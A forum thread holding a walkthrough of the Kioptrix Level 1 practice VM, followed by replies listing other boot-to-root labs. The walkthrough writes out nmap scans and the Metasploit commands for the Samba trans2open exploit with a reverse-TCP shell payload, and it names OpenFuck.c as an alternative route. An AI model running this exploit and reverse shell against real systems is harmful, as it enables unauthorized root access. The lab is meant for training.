Sinisterly
[walkthrough] Kioptix Level 1 - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.li/Forum-Tutorials)
+--- Thread: [walkthrough] Kioptix Level 1 (/Thread-walkthrough-Kioptix-Level-1)

[walkthrough] Kioptix Level 1 - MrGeek - 06-11-2013

[Walkthrough] Kioptix Level 1

I am going to demonstrate how we can pawn Kioptix Level 1 Challenging server.
Kioptix series are well known , made by hackers for hackers.
You can download them at >>
Quote:http://www.kioptix.com
Challenging servers are also called "boot-to-root"
It is safe to test on your own local machine.
Here we go Smile

(0x01) Prepare for battle
We open the vmdk (vm disk) to boot the kioptix.
If everythings fine, you will see the welcome screen of Red hat linux logon.

There may be various way which we can take privilege.
But now I will demonstrate with MSF.

(0x02) Reconnaissance
We must first reconnaissance to our enemy Biggrin
So I perform a basic nmap
Spoiler:
[Image: x9wU06e.png]

Code:
$. nmap 192.168.37.1/24
Spoiler:
[Image: RMS7Ti9.png]

Now we could see the general results showing services running along the server.
Spoiler:
[Image: D74UIAI.png]

I marked down the IP and load in the browser to see what we can take advantage.
The front page is merely a test page but wait there are some Links.
Spoiler:
[Image: UGn6KrD.png]

Let's follow the links and you will see some mods.
Spoiler:
[Image: YYq0naE.png]

You can see ,they use mod_ssl which we can pawn with Openfuck.c. But right now,
I would take advantage of "netbios-ssn" service along with msf.
So I deep scan again using this cmd
Code:
$. nmap 192.168.37.128 -sV -PN -A

You could see a bunch of ports with services are open.
Take a look at 139 port number.
It's sevice is "samba"!.
So, next....

(0x03) Launch primary weapon
So , I use my nuclear Biggrin ~ Metasploit.
When I got to msf_console.
I search for exploits naming "samba"
Code:
msf > search "linux samba"

As you can see , a ton of exploits and payloads are shown up.
I looked for linux samba and the exploit name exploit/linux/samba/trans2open.
For now we will use that one.
Spoiler:
[Image: pv969Cp.png]

Code:
msf > use exploit/linux/samba/trans2open

Now, we have to configure the weapon to be maximum level Biggrin
I started with general options
Code:
msf > show options

As you can see, we have to adjust current settings ...so
Code:
msf > set rhost 192.168.37.128

now , we have to choose which payload we should use.
So..
Code:
msf > show payloads
Spoiler:
[Image: WQnlDJr.png]

A ton of payloads are shown up.
I choose linux/x86/shell_reverse_tcp

Code:
msf > set payload linux/x86/shell_reverse_tcp

See options again.
Code:
msf > show options

we have to the local host with our IP.
Code:
msf > set lhost 192.168.37.1

So everything is configured and now we can start our attack.
Code:
msf > exploit
Spoiler:
[Image: Jr2brcM.png]

Boom~!!!
We can see shell sessions :dance:
type around and play with root Biggrin

Regards
Mr.Geek@HC:~# logout

RE: [walkthrough] Kioptix Level 1 - diana32 - 06-11-2013

Seems to be a nice game Biggrin thanks for share

RE: [walkthrough] Kioptix Level 1 - RogueCoder - 06-11-2013

Nice share mate! Smile
Great too see more walk-through's here Biggrin

RE: [walkthrough] Kioptix Level 1 - MrGeek - 06-12-2013

Thanks bros.... Let's make the walkthroughs on HC better ever Biggrin

RE: [walkthrough] Kioptix Level 1 - Ex094 - 06-12-2013

Nice one mate btw where can I find these challenges? So I can solve and share my Walkthrough too Smile

EDIT: Nevermind, I found some good challenges from Hackademic. I'll be trying those

RE: [walkthrough] Kioptix Level 1 - MrGeek - 06-12-2013

(06-12-2013, 08:25 AM)Ex094 Wrote: Nice one mate btw where can I find these challenges? So I can solve and share my Walkthrough too Smile

EDIT: Nevermind, I found some good challenges from Hackademic. I'll be trying those

Here Hooded Robin a.k.a Mr.Green 's... collection of Challenging servers.
All credits go to him Smile

Quote:Kioptrix Challenge Servers:
These are a series of servers you can download and run in your virtual machine player of choice. Each one takes different attack methods to comprimise the server, so you learn something new each time with a mix of web and network exploits. For me things ran fine on the 192.168.1.0/24 network.

http://www.kioptrix.com/
Level 1: http://www.kioptrix.com/dlvm/Kioptrix_Level_1.rar
Level 1.1: http://www.kioptrix.com/dlvm/Kioptrix_Level_2.rar
Level 1.2: http://www.kioptrix.com/dlvm/Kioptrix_Level_2.rar
Level 1.3 (I didn't get this one working so cant help with this one, sorry): http://www.kioptrix.com/dlvm/Kioptrix4_vmware.rar


PwnOS v1.0
This is another boot2root challenge server. Made by hacker for hackers. For me things ran fine on the 192.168.1.0/24 network with simple setup in VMwarePlayer. Has a web front end and is fully rootable once inside.

http://sourceforge.net/projects/virtualhacking/files/os/pWnOS/pWnOS%20v1.0.zip/download
There is supposed to be a second v2.0 but the original site has been down for a while and I have not found it to try it yet...


De-ICE Challenge Servers:
Another series of servers like Kioptrix, mix of web and network exploits. Each one a little different than the last. These ones have hard coded IP's so you may need to adjust your network settings for Level 3 (192.168.2.0/24), while the first two run fine on the 192.168.1.0/24 network. The last two are the most fun, first one is some basic principles type of stuff.

De-ICE Challenge 1 (1.100): http://sourceforge.net/projects/virtualhacking/files/os/de-ice/de-ice.net-1.100-1.1.iso/download
De-ICE Challenge 2 (1.110): http://sourceforge.net/projects/virtualhacking/files/os/de-ice/de-ice.net-1.110-1.0.iso/download
De-ICE Challenge 3 (2.110): http://sourceforge.net/projects/virtualhacking/files/os/de-ice/de-ice.net-2.100-1.1.iso/download


OverTheWire Wargames:
This is a large collection of network wargames of various types. Some of them have themes, some are for begginners and novices and some are for the hardcore's out there. I can help you with the beginner one called 'Bandit' which i have completed already, do what I can for the others but plenty of this is way over my head Tongue

http://www.overthewire.org/wargames/
BEGINNER: http://www.overthewire.org/wargames/bandit/
The above is a fun one for those who want to have some fun getting to learn some *nix basics along the way. All taught through levelled challenges which progress in difficulty until you finish.


Metasploitable:
A set of virtual machines which are designed for Metasploit training. Each has a few different exploits so you can try a few different attacks out and become a little more familiar with MSF, Meterpreter, and Post Exploitation fun. Not much relating to real life these days but still good to learn with. The old one is an XP machine, the new one is based on a LAMP setup

http://sourceforge.net/projects/virtualhacking/files/os/metasploitable/


Some links to more that I have yet to try or fully beat yet. If you have questions on these ones, can't promise I can be of any help but I will still try to do what I can:

http://sourceforge.net/projects/virtualhacking/files/os/